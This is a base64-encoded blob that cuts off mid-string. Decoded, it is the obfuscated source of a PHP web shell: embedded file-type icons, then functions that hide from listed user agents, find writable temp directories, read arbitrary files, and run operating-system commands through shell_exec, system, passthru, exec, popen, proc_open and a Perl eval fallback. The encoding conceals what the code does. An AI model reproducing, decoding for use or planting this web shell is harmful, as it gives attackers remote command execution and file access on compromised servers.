5bWRIZGhjbVVBZDNkM0xtbHVhM05qWVhCbExtOXlaNXZ1UEJvQUFBSGlTVVJCVkRpTmxaSzlhMU5oRk1aLzkzM1AvUWdwNlhERmtpMkxMalpGZEtvRVdwQlkvNFZnL29OU0ZQdVJiaUt1bmFXRXFoUVJjWmRPUXJsZEhLSkxraWtCNmRwRjdWQUp5ZnUrMXlGZkhYc1BuT1hBK1ozblBEeGVxOVdxR21NT25ITXJaQ2lsVkZ0RWRyeXpzN04ycVZRcUx5MHRvWlM2MGJKempvdUxDODdQenpzeUhBN0xjUnd6SEE2ekNDQ09ZM3E5WGxtc3RkUnFOWklreVFSWVcxdGpjM01UWll6SnZBeVFKQW5HR05Sb05Kb05DNFZDSnNob05FSlphMmVEVHFkRG85R2dVQ2pnZVFxdE5Gb0xvbjFFKzJndGFLWHh2TEhaMXRyeEM5T3FQNnV6dXZxSWRydkRmbU9mVy9GdG9pQkhGRTQ2eUJFR09hSWdJZ3dpakRHSU1RYWxOS0tGSDYyZjFHdDF0cDV2MGRqZm8xZ3M4dnJWR3p3OEFGSlMwalRGT1lkTDdSemdTNEJvb1ZLcHNMM3prdkpLbWFQbU85NGZIUk1GT1pnQUlNV2xiZ3h3MXdDaUJSR2Y0NDhmK1B6cEM5c3Y5cmo4YzRsU1Foams4THlKZ3VsMVo3RFhBUUNpaE1mckcvejlmWW1JNFBzaHlmZHZMQ3prWng2dFBsZ2ZYN1lhTTdpYUE2b2JWVTYrbnZEdjF4VnE0cnhXbXZ2M0hxS1Vua1Y4S3QwNnk1T24xVG5nOFBBdFVSUmx5c0JnTUtEWmJDSWkwanM5UGIyN3ZMeU03L3MzRGxDMzIwVkVlcExQNTNmNy9mNUJ0OXU5azBWQkdJYjl4Y1hGM2YrTytOLzRGdVpXSndBQUFBQkpSVTVFcmtKZ2dnPT0iLA0KICJ4bWwiPT4iaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQkhOQ1NWUUlDQWdJZkFoa2lBQUFBQWx3U0ZsekFBQU4xd0FBRGRjQlFpaWJlQUFBQUJsMFJWaDBVMjltZEhkaGNtVUFkM2QzTG1sdWEzTmpZWEJsTG05eVo1dnVQQm9BQUFIR1NVUkJWRGlObFpMUFNsdGhFTVYvOTh0M2M0UEJYSnRiU0NFZzJSUWtOTjM0REM1Y3VPZ0wrQlQxTFh3QVg2UjdDZWdtUmVFMnRIQWpLc1EvcEN1REJzbjM1MDRYTVRlTkxhVVptTVVNWjg2Y09VelE2L1YybkhPSGVaNS9aSVZRU3FWYTY4OUJ0OXROVzYxV3A5Rm9vSlQ2citFOHp4bU5SbHhmWDMvVHhwaE9raVFZWTFZUlFKSWtaRm5XMGQ1N3ZQY3JEUVBNNTdSekRoRjVwVkZBQlFBRUUwTmdQWG10VXZUbTRaeERXV3NSa1NMTEoxZW91M0ZSVjc1OFIvZnZVWGRqeWlkWFMxaHJMY3A3WHpTaTdpWGgrUzIrdmpaVDlXelJQMGFZZGdOZlh5TTh2eVhxWGhaNDd6MXFma0owZkVGNE51UnhmNXM4S2lFaWhQMTcvTnNxUHE2UVJ5VWU5N2NKejRaRXh4ZUlDTTY1aFFmQjB4UUJwQlFVbm9SZmg1ak91NFZIcFFDQkdmYUZvRkF3MmQzQ2JtNndmblFLVTBjd2ZrWm5QNW5PQ2FhTzlhTlQ3T1lHazkydFB3bEVoTWxlRzl1TVVUY1BsSHREYkt1T3I1WVJFZFROQTdZWk05bHJGL2lsRStieDlPa0RnZldJVm92dGdHdldzSzAzOEJ2MnJ3UUFvaFY1cy9aU1NOSGpGYTRnc05haXRWN3BFNTF6TXcrMDFsbWFwaGhqbHA3a1gybU1JVTFUdE5hWnJsYXJCNFBCNExEZjc3OWZSVUVVUllNNGpnOStBWTBEWjRjcEFVUjRBQUFBQUVsRlRrU3VRbUNDIiwNCiAiYXZpIj0+ImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJITkNTVlFJQ0FnSWZBaGtpQUFBQUFsd1NGbHpBQUFOMXdBQURkY0JRaWliZUFBQUFCbDBSVmgwVTI5bWRIZGhjbVVBZDNkM0xtbHVhM05qWVhCbExtOXlaNXZ1UEJvQUFBSmdTVVJCVkRpTmxaTzliaHRIRklXL21aMmQzUlZYSkVzMWhCTVlDUXRGaGhZcDFRZ1I4ZzU4Q2JteTM4SnVySmNJOGhDQm1xMEp4RVZBRzhnUDFLaVVSRWhjenAyZkZMTUpiSGUrN1dEdW5ITytNK3JpNHVKbjcvMGJwZFNMbDkvOFJkRlU2TXBTMkJKVkdnQ1NlSUlUNHQ0UmRudmUvZjB0S2FYZmpUR3Z6RzYzZTl2My9jbmw1U1UvUGora3NCWmRsZWpTb0FxZEY0UklGRS9jQzhFNWZtaWZjWFYxOWVMczdPeXQ4ZDZmckZZcjd1N3VlQWp2c2JXbHFQTHJTbzhMWXN3cTlvSWJIQi8vZEt4V0s3ejNKK3IwOURTdDEydk96OC81bXJtK3ZxYnJPdFR4OFhHYXpXWUFYSjM4UTEyWGFHdlJwWWJSQWlFU0pSS2RZeGlFeS9mUEFMaS92MGQ3NytuN0hoSGhjRkpTdHpYTnRLYVpUVGlZdHh6TVc1clpoR1phVTdjMWg1TVNFYUh2ZTd6M0dPODlYZGNCb0t1U29yWVVUWjFwakJTaWVNSnVQK1lSRUJHNnJzTjdqeFlSMXVzMUlvSXFDcFFwMEtXaHFDeGxlMERaSGxCVU5sTXhCYW9vK1BTTzhkNnpYQzZ6MTZSSU1aRlNJc1dNN244S0taRmlncFFRRVpiTFpWYmd2V2V6MlNBaW1iVUljWEQ0cHdIWlBpTGJSL3pUUUJ4Y1BoT1BpTERaYkhJR0lRUVdpMFVPZTFDZ0ZNU0VIaTNsSW9XY3c5NFJCb2RJWXJGWUVFTElGbTV1YmpnNk9tTC9sTENqZEcyS3o0b1VmU0E2d1EyQ2lPTDI5cGI1Zkk1cTJ6WlphNytxUlArTmN5NHIyRzYzVEtkVGZsdE5xSnNLYlV0MFdYenhGN0tDWWJmbnAxOGVlWGg0b0drYVRBamhRMVZWMzJ1dG1SM1d1UU8xUmRzU1pjWU1SdmxoY0ZSR0lYSkhWVldrbEQ2WUdPUHJHT01icGRSM3YvN3hoTFllWFJwMFdYNmhZS1RrSE00NVVrb2Z0ZGF2L3dXUDduT25YUFlVTmdBQUFBQkpSVTVFcmtKZ2dnPT0iLA0KICJ4bHMiPT4iaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQkhOQ1NWUUlDQWdJZkFoa2lBQUFBQWx3U0ZsekFBQU4xd0FBRGRjQlFpaWJlQUFBQUJsMFJWaDBVMjltZEhkaGNtVUFkM2QzTG1sdWEzTmpZWEJsTG05eVo1dnVQQm9BQUFHVVNVUkJWRGlOalpNeGE5dEFHSWJmeUFlT0FvMWl1RnNFSm1BNTZSUzYyU1pMZmtUSC9JcENPNWJRSVQ4aGU1ZitoQzc5QTdaWEJabzBOaG1rUmNRS3BKQVc0L3Z1dmd6TlhTVGJTWG9nRUo5MDcvTzhKN1R4N1h2NllaTFBUc3U3UHlFQUhCOHBXR3Z4MmdxQ0lCVkNmTno0ZlBiajc5YWJWcmpianRGb0JIaC9xTURNTDI0bUl1UjVqcUlvemtWUi9nN2Z0ZmR4WGN4aG1hSDFEb2pvVllNNGpwRmwyWUVnWTNCN2IyQWZxY3dNWnNad09BUUFLS1V3bTgzOFJxVVV1dDB1bUJuR0dBaERCREpQblYzQVlERHdzeVJKYW5SWGtZZ2dpQXlxWitZQ3B0T3BKMWN0bkFFQWFLMGhqQ1d2WHcxSmtxUkdydDQ3ZzhjS0J0Wnk3U0V6WXpRYTFlaEtxWlVxUkFSaGpJR3BDTGlBZnIvdlo1MU9wMFplQ3FDYXdib1huMXZlb0hvR3ptQThIdnVabEJJQVVKWWxwSlMreWxQQW1xL1E2L1ZXaU10Vi9nWFErZ3JPUUVycHlYRWNJd3pEMVFxYUNFRkRQR3ZneU10MElrSWdXOXZ6bSt3blNHdFl5ejdncFd1eFdDQk5Vd2docnNUYnZmakx4YS84NUhKMHNRa0FYM1gwWHo5VHM5bWNSRkgwNlFGSXNUeDU3UU1aeVFBQUFBQkpSVTVFcmtKZ2dnPT0iLA0KICJwbCI9PiJpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMXdBQURkY0JRaWliZUFBQUFzQkpSRUZVT011VjA4dHJYSFVVd1BIdjczZnZ6SjFINTNIbEptUFN0RTJ0ZHRFbVhWaGZ6VlNxa05wU2hDQ2xDeWtGbDI2S0cvc1hkRnR3NWNLbC9obENEUVFWYlNqVnpsaGtaaUNUS2laakp6V1RlZDdmNzl4N3V3ZzB1QkRzMlI3TzV6emdxUFgxOVlzaWNpZU80ek84UUdpdEg3cXUrN2xhVzF0N09EOC92MWlwVk5CYS82L2lPSTdwZERxMDIrMmFhNHhaek9aeURJWkR0TlpvclZHQTBocWxGR3EvSFNwSlVFb0JrQ1FKUVJEUWFEUVdkUlJGYUtXZUo4VUtlNzB1WWkzajBaQS8yNzhoSnR5SGxRS2xjQndIeDNHSW9naFhSRUFwdE5ZWVkyZzNmNlg3K0h1T243N01YcS9EYUhlRGJHR0tJS2hncldYUTN5SGxGVGlVenlNaXVOWmFsTmFFa3dsN3ZTNkZ2R1hxN0FXOE5LUjBobEwrS0dhd3laTkVZU1k5dnJ6OUtVc1hyMUJkL2dSckxXNFVSWWd4ZERwL0VENTloQ1FKbzQwdU00ZVBZQ2Q5bE5ZNFRvcWR4eit3M1hwQTlZMVhtVHZ4TnA2WFBWaGhQQjZ4MGJoUE90emsvaThOSHQzN2p1TW5YbUVtS0RDY0pJU0RwN3g1NFJMYm03L2pWNmFZTzNhS1lyR0lpS0JGQkdNTWc5NE9YMy8xRGU5ZXZzSDF6NzRBdDh6ZG4vN20yN3YzS0I5NW5RYy8vNGliemxJNXVVeTVWTUp4blAwYmlBaWowWUJXYlozRmQ4NXo2c3dTbVV5R3MwdVgyUDZyemUyYkgvSCsxWnZrYzRmSVpMTVVpajZlNTVFa3lRRmdKbU9pT09HREQ2K1R5K1h3UEErbEZLTitsL1B2bldQMjhERUtoU0p4SEJQSE1kYmFmd05wTDhOYnl4OGo0eWNZWTBpbjB6aU9neDhjcFZBc0lTSllhN0hXSWlKRVVZUlM2Z0I0ZVdhT1hDNURFZ3Npd25BNEpJNWpDcVdYT0gzdUdtS0Z3V0JBcTlYaW45MWRabWRuTVdGNEFCU0xSY3BsSHhIN2ZIeWxGTDd2TXowOVRSaUc5UHQ5dHJhMldGbFpvVmFyNGZ2K1B1QzZibU4xZGZYa3dzSUNxVlRxUHg5SUtVVzFXcVhiN1JJRUFmVjZIZGQxRzI0K243L1ZiRGJ2MU92MTExN2tuVDNQYTVaS3BWdlBBTlBLV3ZPb0ZUb3BBQUFBQUVsRlRrU3VRbUNDIiwNCiAiaHRhY2Nlc3MiPT4iaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTjF3QUFEZGNCUWlpYmVBQUFBbUZKUkVGVU9NdVYwODlMVkZFWXh2SHZ2WE91TXpVNjl6WmpscFdsK1N0empCVExDQW9salNMNnNRaURWaTJDTmhGQlNkdHdGU0sxckwrZ29DQm9hUWFHSkJXVFNPTlVOcE9UbFpGVFFWWnEwNTF6N21raEthUUd2dkF1ejRmbk9mQWFzVmlzVFVyWjdYbmVOcFl4cG1uR2hSQVhqZjcrL25oUklGYUhPVWw0UlJNRjRWMklTQWh0Z0lHeDZHUFA4OGhrTW95TmpRMEwxM1hyOGdvOFBxZUcrRHFVeGhrYm9laG9GSDlUTlViWXdUREZva2drRWlHWlROWUpwUlJPeVVITTlEZEdIbnprU1N4RFZkOGtWWHNTaEE5WFliVTA0TE5EQ3dDbEZFb3BUQ2tsUHFzRXUrSWs1V3Nxc1h3aDdreUV1WGxYTW5GcGdGelhiZHhVR3EzMWdwVlM0bXR2Yjc5Y1dscUtZWWN3TnpnWTc2YXh4aFdEbUl4TVN6YSsrRWxvK0NYYUZwaVZ4YURuL3lXZFRtTXFwV1pGTklHZEZVVFBsWEdnK2hPSFBEOWZ6SFYwL1pwaDhKSEY3eXM5NUhwNzhKUTdsMkN1d253c3NGcTJzNnF6bWVhYVVVNnJINFNOelZ3enZqR1FYRXUyOHpHcTd5SGF5ODFWK0FmUWFHMWd0dXdnY1BVSUZWWHZPYVk4SEtPRzZ5cExiNktleVJ1dlVCL0cwWjYzRkRDN3ZzWW93ZlBOYkhIZTBpcnp5Wm5sM01xemVQTzBDT1BlTS9EVS93RzB4ankrbCtDcEtQWCtVWGJMTUpOZWxxR3BERi9pVTJSbnN2OEh0TlpvRDhTWlZrcE9GTk5tdlNacU9QUnQrc245eGdpZnN5NVNTc1JmWUtuUlRoRHJ3ajdLQzUrei83dWZmcnVRckQyRHN6SXdEK1J5T1lRUVN5SnFkVDdCczAwMHVKTFM2ZlVNeDJMbzNHd0NVd2lSak1manVLNjdkQld0MFg0ZnRoMmdyTGlZcmJXMURDY1NDQ0dTSWhnTWRxUlNxZTVFSWxHNW5IUDIrLzBwMjdZNy9nRFB6WWowSDRvNUZRQUFBQUJKUlU1RXJrSmdnZz09IiwNCik7DQoNCi8qIGZ1bmN0aW9ucyAqLw0KIGZ1bmN0aW9uIHo3eigkaSwgJGs9JycpeyBnbG9iYWwgJGNvbmZpZzsgJG09YXJyYXkoInZlcnNpb24iLCJhdXRoIiwiZGVmYXVsdF92YXJzIiwiYmFubmVkIiwidXNlX2J1ZmZlciIsInZpc3VhbCIsInJlZ19pbnRlcmVzdGluZyIsInJlZ19iYWQiKTsgaWYoIUBpc3NldCgkbVskaV0pKSByZXR1cm4gJyc7IHJldHVybiAoJGshPScnKSA/IChAaXNzZXQoJGNvbmZpZ1skbVskaV1dWyRrXSkgPyAkY29uZmlnWyRtWyRpXV1bJGtdIDogJycpIDogKEBpc3NldCgkY29uZmlnWyRtWyRpXV0pID8gJGNvbmZpZ1skbVskaV1dIDogJycpOyB9IGZ1bmN0aW9uIHozZygkaSwkdCl7IGlmKCR0IT0nZCcmJiR0IT0nZicmJiR0IT0nbCcmJiR0IT0nZScpIHJldHVybiAnJzsgaWYoJHQ9PSdsJ3x8JHQ9PSdlJykgJHQ9J2YnOyAkY3M9ejlxKCdyZWdfc2VsZicpOyAkY2k9ejlxKCdyZWdfaW50ZXJlc3RpbmcnKTsgJGNiPXo5cSgncmVnX2JhZCcpOyBpZigkdD09J2YnICYmICRpPT1AYmFzZW5hbWUoX19GSUxFX18pKSByZXR1cm4gKCgkY3MhPScnKSA/ICcgc3R5bGU9ImNvbG9yOiAnLiRjcy4nIjsnIDogJycpOyBmb3JlYWNoKHo3eignNicsJHQpIGFzICRyKXsgaWYoQHByZWdfbWF0Y2goJy8nLiRyLicvaScsICRpKSkgcmV0dXJuICgoJGNpIT0nJykgPyAnIHN0eWxlPSJjb2xvcjogJy4kY2kuJyI7JyA6ICcnKTsgfSBmb3JlYWNoKHo3eignNycsJHQpIGFzICRyKXsgaWYoQHByZWdfbWF0Y2goJy8nLiRyLicvaScsICRpKSkgcmV0dXJuICgoJGNiIT0nJykgPycgc3R5bGU9ImNvbG9yOiAnLiRjYi4nIjsnIDogJycpOyB9IH0gZnVuY3Rpb24gejZoKCl7ICRpPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyBpZigkaSE9JycpeyAkZj1AYXJyYXlfbWFwKCd0cmltJyxAZXhwbG9kZSgnLCcsJGkpKTsgQHNvcnQoJGYpOyByZXR1cm4gJGY7IH1lbHNleyByZXR1cm4gYXJyYXkoKTsgfSB9IGZ1bmN0aW9uIHo5cSgkaSl7IGdsb2JhbCAkY29sb3Jfc2tpbjsgJGE9ejd6KCc1JywgJGNvbG9yX3NraW4pOyByZXR1cm4gQGlzc2V0KCRhWyRpXSkgPyAkYVskaV0gOiAnJzsgfSBmdW5jdGlvbiB6OXMoKXsgaWYoQGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgaWYoQHByZWdfbWF0Y2goJy8nLkBpbXBsb2RlKCd8Jywgejd6KDMsICJhZ2VudHMiKSkuJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBAaGVhZGVyKHo3eigzLCAic2VuZF9oZWFkZXIiKSk7IGV4aXQoMCk7IH0gfSB9IHo5cygpOyBmdW5jdGlvbiB6OXkoJGssICR3PScnLCR1PTApeyBnbG9iYWwgJGxhbmc7ICRsPXo3eigyLCAibGFuZ3VhZ2UiKTsgJHIgPSAnJzsgaWYoIWlzc2V0KCRsYW5nWyRsXVska10pKSByZXR1cm4gIj8iOyAkciA9ICRsYW5nWyRsXVska107IGlmKCR3IT09JycpeyBpZihAaXNfYXJyYXkoJHcpKXsgZm9yKCRpPTA7ICRpPEBjb3VudCgkdyk7ICRpKyspeyBpZihAaXNzZXQoJHdbJGldKSkgJHIgPSBAc3RyX3JlcGxhY2UoIlslIi4oJGkrMSkuIiVdIiwgJHdbJGldLCAkcik7IH0gfSBlbHNlIHsgJHIgPSBAc3RyX3JlcGxhY2UoIlslMSVdIiwgJHcsICRyKTsgfSB9IHJldHVybiAoJHU/IEBzdHJ0b3VwcGVyKCRyKSA6ICRyKTsgfSBmdW5jdGlvbiB6OXAoKXsgJG89Jyc7IGlmKEBkZWZpbmVkKCdQSFBfT1MnKSl7ICRvPVBIUF9PUzsgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSYmQGlzX2NhbGxhYmxlKCdwaHBfdW5hbWUnKSl7ICRvPUBwaHBfdW5hbWUoJ3MnKTsgfSByZXR1cm4gIUBlbXB0eSgkbyk/JG86IipOSVgiOyB9IGZ1bmN0aW9uIHo2digpeyAkaT1AZ2V0X2luY2x1ZGVkX2ZpbGVzKCk7IHJldHVybiAoQGNvdW50KCRpKT4wKSA/ICgkaVswXSE9X19GSUxFX18pIDogMDsgfSBmdW5jdGlvbiB6OWEoJGQsJHM9JzonKXsgaWYoJGQhPScnKXsgaWYoIUBzdHJzdHIoJGQsJHMpKSByZXR1cm4gYXJyYXkoJGQpOyByZXR1cm4gQGFycmF5X21hcCgndHJpbScsQGV4cGxvZGUoJHMsJGQpKTsgfSByZXR1cm4gYXJyYXkoKTsgfSBmdW5jdGlvbiB6OWkoJGkpeyBmb3JlYWNoKGFycmF5KCJhIj0+IjQiLCJlIj0+IjMiLCJvIj0+IjAiLCJzIj0+IjUiLCJsIj0+IjEiLCJ0Ij0+IjciKSBhcyAkaz0+JHYpeyAkaT1Ac3RyX3JlcGxhY2UoYXJyYXkoJGssQHN0cnRvdXBwZXIoJGspKSwkdiwkaSk7IH0gcmV0dXJuICRpOyB9IGZ1bmN0aW9uIHozbigpeyAkd3d3ZGlyPWZhbHNlOyBpZihAaXNzZXQoJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pKSB7ICRzbj16MWooJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pOyBpZihAcmVhbHBhdGgoJHNuKSl7ICRzcD16MWooQHJlYWxwYXRoKCRzbikpOyB9IGVsc2UgeyAkc3A9ejFqKEByZWFscGF0aChfX0ZJTEVfXykpOyB9ICR3d3dkaXI9ejFrKEBzdWJzdHIoJHNwLDAsQHN0cnBvcygkc3AsJHNuKSkpOyB9IHJldHVybiAkd3d3ZGlyOyB9IGZ1bmN0aW9uIHo2aigpeyBnbG9iYWwgJHdpbjsgJHM9Jy8nOyAkdG1wID0gYXJyYXkoKTsgJHRwID0gYXJyYXkoKTsgJHRuID0gYXJyYXkoJy90bXAvJywnL2Rldi9zaG0vJywnL3Zhci90bXAvJyk7ICR0dyA9IGFycmF5KCIlV0lORElSL3RlbXAvIik7ICR0aSA9IGFycmF5KEBpbmlfZ2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcpLCBAaW5pX2dldCgndXBsb2FkX3RtcF9kaXInKSk7ICR0ZSA9IGFycmF5KCdUTVAnLCAnVE1QRElSJywgJ1RFTVAnKTsgaWYoJHdpbil7IGZvcmVhY2goJHR3IGFzICR0KSAkdHBbXSA9ICR0OyB9IGVsc2UgeyBmb3JlYWNoKCR0biBhcyAkdCkgJHRwW10gPSAkdDsgfSBpZihAaXNzZXQoJF9FTlYpKXsgZm9yZWFjaCgkdGUgYXMgJHQpeyBpZighQGVtcHR5KCRfRU5WWyR0XSkpICR0cFtdID0gQHJlYWxwYXRoKCRfRU5WWyR0XSk7IH0gfSBmb3JlYWNoKCR0aSBhcyAkdCl7IGlmKCFAZW1wdHkoJHQpKSAkdHBbXSA9ICR0OyB9ICRiPXo5YShAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOyBpZihAY291bnQoJGIpPjApeyBmb3JlYWNoKCRiIGFzICR0KXsgaWYoIWVtcHR5KCR0KSkgJHRwW10gPSAkdDsgfSB9ICR0cFtdPUByZWFscGF0aChAZGlybmFtZShfX0ZJTEVfXykpOyBmb3IoJGk9MDsgJGkgPCBAY291bnQoJHRwKTsgJGkrKyl7IGlmKCFAZW1wdHkoJHRwWyRpXSkpeyAkcD1Ac3RyX3JlcGxhY2UoJ1xcJywgJHMsICR0cFskaV0pOyBpZihAc3Vic3RyKCRwLCAtMSwgMSkgIT0gJHMpeyAkcCAuPSAkczsgfSBpZighQGluX2FycmF5KCRwLCAkdG1wKSl7ICRmPUBtZDUoQHVuaXFpZChAdGltZSgpKSk7ICRmcD1AZm9wZW4oJHAuJGYsInciKTsgaWYoJGZwKXsgQGZjbG9zZSgkZnApOyBpZihAZmlsZV9leGlzdHMoJHAuJGYpKXsgQHVubGluaygkcC4kZik7ICR0bXBbXSA9IEB0cmltKCRwKTsgfSB9IH0gfSB9IHJldHVybiAoQGNvdW50KCR0bXApPjApID8gJHRtcCA6IGFycmF5KCIuLyIpOyB9IGZ1bmN0aW9uIHo5bygkZil7IGdsb2JhbCAkbml4LCAkc2hfZXhlYzsgJHI9Jyc7IGlmKHo3ZSgnZm9wZW4nKSYmejdlKCdmZW9mJykmJno3ZSgnZmdldHMnKSYmejdlKCdmZW9mJykmJno3ZSgnZmNsb3NlJykgJiYgKCRmcCA9IEBmb3BlbigkZiwgJ3InKSkhPT1mYWxzZSl7IHdoaWxlKCFAZmVvZigkZnApKXskciAuPSBAZmdldHMoJGZwKTt9OyBAZmNsb3NlKCRmcCk7IH1lbHNlaWYoejdlKCdmb3BlbicpJiZ6N2UoJ2ZyZWFkJykmJno3ZSgnZmNsb3NlJykmJno3ZSgnZmlsZXNpemUnKSYmKCRmcCA9IEBmb3BlbigkZiwgJ3InKSkhPT1mYWxzZSl7ICRyID0gQGZyZWFkKCRmcCwgQGZpbGVzaXplKCRmKSk7IEBmY2xvc2UoJGZwKTsgfWVsc2VpZigkbml4ICYmICRzaF9leGVjKXsgJHI9ejllKCdjYXQgIicuJGYuJyIgMj4vZGV2L251bGwnLDApOyB9ZWxzZWlmKHo3ZSgnZmlsZScpJiYoJGZsID0gQGZpbGUoJGYpKSl7IGZvcmVhY2ggKCRmbCBhcyAkbCkgeyAkciAuPSAkbDsgfSB9ZWxzZWlmKHo3ZSgnZmlsZV9nZXRfY29udGVudHMnKSl7ICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmKTsgfWVsc2VpZih6N2UoJ3JlYWRmaWxlJykpeyAkciA9IEByZWFkZmlsZSgkZik7IH1lbHNlaWYoejdlKCdoaWdobGlnaHRfZmlsZScpKXsgJHIgPSBAaGlnaGxpZ2h0X2ZpbGUoJGYpOyB9ZWxzZWlmKHo3ZSgnc2hvd19zb3VyY2UnKSl7ICRyID0gQHNob3dfc291cmNlKCRmKTsgfSByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejl1KCRmLCR0PScnKXsgZ2xvYmFsICR0ZW1wZGlyOyAkcz0nJzsgaWYoISR0KSAkdD1AdGVtcG5hbSgkdGVtcGRpciwiY29weXRlbXAiKTsgaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRmLCR0KSl7ICRzPXo5bygkdCk7IEB1bmxpbmsoJHQpOyB9IHJldHVybiAkczsgfSBmdW5jdGlvbiB6OXQoJHQsJHM9JycpeyBpZih6N2UoJ2ZvcGVuJykmJno3ZSgnZndyaXRlJykmJno3ZSgnZmNsb3NlJykmJigkZj1AZm9wZW4oJHQsIndiIikpIT09ZmFsc2UpeyBAZndyaXRlKCRmLCRzKTsgQGZjbG9zZSgkZik7IH1lbHNlaWYoejdlKCdmb3BlbicpJiZ6N2UoJ2ZwdXRzJykmJno3ZSgnZmNsb3NlJykmJigkZj1AZm9wZW4oJHQsIndiIikpIT09ZmFsc2UpeyBAZnB1dHMoJGYsJHMpOyBAZmNsb3NlKCRmKTsgfWVsc2VpZih6N2UoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpeyByZXR1cm4gQGZpbGVfcHV0X2NvbnRlbnRzKCR0LCRzKTsgfSBlbHNlIHsgcmV0dXJuIDA7IH0gcmV0dXJuIDE7IH0gZnVuY3Rpb24gejdlKCRmKXsgcmV0dXJuIChAZnVuY3Rpb25fZXhpc3RzKCRmKSAmJiBAaXNfY2FsbGFibGUoJGYpICYmICFAaW5fYXJyYXkoJGYsIHo2aCgpKSkgPyAxIDogMDsgfSBmdW5jdGlvbiB6M3goJHYpIHsgaWYoJHYgPT0gJycpIHJldHVybiAnbm8gdmFsdWUnOyBpZihAaXNfYm9vbCAoICR2ICkpIHJldHVybiAkdmFsdWUgPyAnVFJVRScgOiAnRkFMU0UnOyBpZigkdiA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsgaWYoQGlzX29iamVjdCgkdikpICR2ID0oYXJyYXkpICR2OyBpZihAaXNfYXJyYXkoJHYpKSB7IEBvYl9zdGFydCAoKTsgcHJpbnRfciAoICR2ICk7ICR2ID0gQG9iX2dldF9jb250ZW50cyAoKTsgQG9iX2VuZF9jbGVhbiAoKTsgfSByZXR1cm4gKHN0cmluZykgJHY7IH0gZnVuY3Rpb24gejZrKCRpKXsgcmV0dXJuICh6N2UoJ2VzY2FwZXNoZWxsYXJnJykpID8gQGVzY2FwZXNoZWxsYXJnKCRpKSA6ICRpOyB9IGZ1bmN0aW9uIHo5ZSgkYywkaD0xKSB7ICRyID0gJyc7IGlmICghZW1wdHkoJGMpKXsgaWYoejdlKCdzaGVsbF9leGVjJykpIHsgJHIgPSBAc2hlbGxfZXhlYygkYyk7IH0gZWxzZWlmKHo3ZSgnc3lzdGVtJykpIHsgQG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJGMpOyAkciA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpOyB9IGVsc2VpZih6N2UoJ3Bhc3N0aHJ1JykpIHsgQG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkYyk7ICRyID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfZW5kX2NsZWFuKCk7IH0gZWxzZWlmKHo3ZSgnZXhlYycpKXsgQGV4ZWMoJGMsJHIpOyAkciA9IEBqb2luKCJcbiIsICRyKTsgfSBlbHNlaWYoejdlKCdwb3BlbicpICYmIEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkYywiciIpKSkgeyBpZih6N2UoJ2ZyZWFkJykgJiYgejdlKCdmZW9mJykpeyB3aGlsZSghQGZlb2YoJGYpKSB7ICRyIC49IEBmcmVhZCgkZiwxMDI0KTsgfSB9ZWxzZWlmKHo3ZSgnZmdldHMnKSAmJiB6N2UoJ2Zlb2YnKSl7IHdoaWxlKCFAZmVvZigkZikpIHsgJHIgLj0gQGZnZXRzKCRmLDEwMjQpOyB9IH0gQHBjbG9zZSgkZik7IH0gZWxzZWlmKHo3ZSgncHJvY19vcGVuJykgJiYgQGlzX3Jlc291cmNlKCRmID0gQHByb2Nfb3BlbigkYyxhcnJheSgxID0+IGFycmF5KCJwaXBlIiwgInciKSksJHApKSkgeyBpZih6N2UoJ2ZyZWFkJykgJiYgejdlKCdmZW9mJykpeyB3aGlsZSghQGZlb2YoJHBbMV0pKSB7JHIgLj0gQGZyZWFkKCRwWzFdLCAxMDI0KTt9IH1lbHNlaWYoejdlKCdmZ2V0cycpICYmIHo3ZSgnZmVvZicpKXsgd2hpbGUoIUBmZW9mKCRwWzFdKSkgeyRyIC49IEBmZ2V0cygkcFsxXSwgMTAyNCk7fSB9IEBwcm9jX2Nsb3NlKCRmKTsgfSB9IGVsc2UgeyAkciA9IHo2YygkYyk7IH0gcmV0dXJuICgkaD9AaHRtbHNwZWNpYWxjaGFycygkcik6JHIpOyB9IGZ1bmN0aW9uIHo2YygkYykgeyBnbG9iYWwgJHdpbiwkdGVtcGRpcjsgJHIgPSAnJzsgaWYgKCFlbXB0eSgkYykpIHsgaWYoISR3aW4peyBpZihleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpeyBAb2Jfc3RhcnQoKTsgJHA9bmV3IHBlcmwoKTsgJHAtPmV2YWwoInN5c3RlbSgnJGMnKSIpOyAkciA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpOyB9ZWxzZWlmKHo3ZSgncGNudGxfZXhlYycpICYmIHo3ZSgncGNudGxf